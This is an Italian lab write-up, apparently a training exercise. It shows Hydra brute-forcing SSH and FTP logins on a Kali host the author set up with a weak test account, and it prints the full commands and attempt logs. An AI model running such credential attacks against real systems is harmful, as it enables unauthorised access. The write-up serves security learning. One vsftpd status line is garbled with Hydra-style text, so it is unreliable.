

# CONFIGURAZIONE E CRACKING SSH

Creazione e configurazione nuovo utente test\_user, password:testpass:

```
(kali㉿kali)-[~]
└─$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1002) ...
info: Adding new user `test_user' (1002) with group `test_user (1002)' ...
warn: The home directory `/home/test_user' already exists. Not touching this directory.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Attivazione servizio ssh e test della connessione:

```
(kali㉿kali)-[~]
└─$ sudo service ssh start

(kali㉿kali)-[~]
└─$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

A questo punto ho creato due wordlists usernames.txt e password.txt.

## Cracking SSH

Avvio il cracking di SSH usando Hydra da riga di comando:

**hydra -L usernames.txt -P password.txt 192.168.50.100 -t4 ssh -V**

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mela" - 115 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fiori" - 116 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mammamaria" - 117 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "cartone" - 118 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "peppino" - 119 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 120 of 121 [child 0] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
```

**TROVATO un accesso valido.**

# CONFIGURAZIONE E CRACKING FTP

## Attivazione servizio ftp

Dopo aver installato vsftpd, lo avvio:

```
(kali㉿kali)-[~]  
$ sudo service vsftpd start
```

Verifico quindi che il servizio sia attivo:

```
(kali㉿kali)-[~]  
$ sudo service vsftpd status  
[sudo] password for kali:  
● vsftpd.service - vsftpd FTP server  
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)  
   Active: active (running) since Fri 2024-09-20 05:30:51 EDT; 26min ago  
 Invocation: 205b6a0de5bb4ad3890e88bbf38f3267  
   Process: 51864 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)  
   Main PID: 51865 (vsftpd)  
     Tasks: 1 (limit: 4605)  
    Memory: 836K (peak: 39.3M)  
       CPU: 830ms  
    CGroup: /system.slice/vsftpd.service  
           └─51865 /usr/sbin/vsftpd /etc/vsftpd.conf -p "recovery" -l 4096 of 8195456000024 [child 3]
```

## Cracking FTP

Avvio il cracking di FTP usando Hydra da riga di comando:

**hydra -L usernames.txt -P password.txt 192.168.50.100 -t4 ftp -V**

```
[ATTEMPT] target 192.168.50.100 - login test_user - pass griffone - 113 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pappa" - 114 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mela" - 115 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fiori" - 116 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mammamaria" - 117 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "cartone" - 118 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "peppino" - 119 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 120 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "clero" - 121 of 121 [child 2] (0/0)  
[21][ftp] host: 192.168.50.100 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-20 05:41:31
```

**TROVATO un accesso valido.**